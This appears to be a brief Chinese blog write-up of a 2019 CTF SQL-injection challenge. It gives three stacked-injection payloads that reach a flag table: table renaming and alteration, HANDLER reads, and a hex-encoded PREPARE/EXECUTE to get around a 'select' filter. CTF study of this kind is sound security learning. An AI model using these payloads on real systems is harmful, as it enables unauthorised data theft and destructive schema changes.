test
发布于 2026-04-25 / 4 阅读
0
0

[强网杯 2019]随便注 1

堆叠注入

第一种解法 表名替换

inject=0';rename table words to tem;rename table `1919810931114514` to words;alter table words add id int unsigned not null auto_increment primary key;alter table words change flag data varchar(100);%23

源码:select id,data from words where id=''

上面代码解释:

rename 修改表名

alter 指定表名进行修改

add id 添加字段id

int unsigned 指定id类型为无符号整型

not null 不允许为空

auto_increment 自动增加

primary key 设置主键唯一标识

change 修改字段名,将flag改为data

varchar(100) 指定data为字符型长度为100

第二种解法 Handler 代替 Select

inject=1';handler `1919810931114514` open;handler `1919810931114514` read first; %23

打开表,读取第一条数据,next查询下一条数据

第三种解法 预处理使用hex绕过过滤select

?inject=1';set @a=CONCAT('s','elect * from `1919810931114514`');PREPARE cmd FROM @a;EXECUTE cmd;%23

prepare需要写大写,过滤了小写,使用16进制编码不需要

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#


评论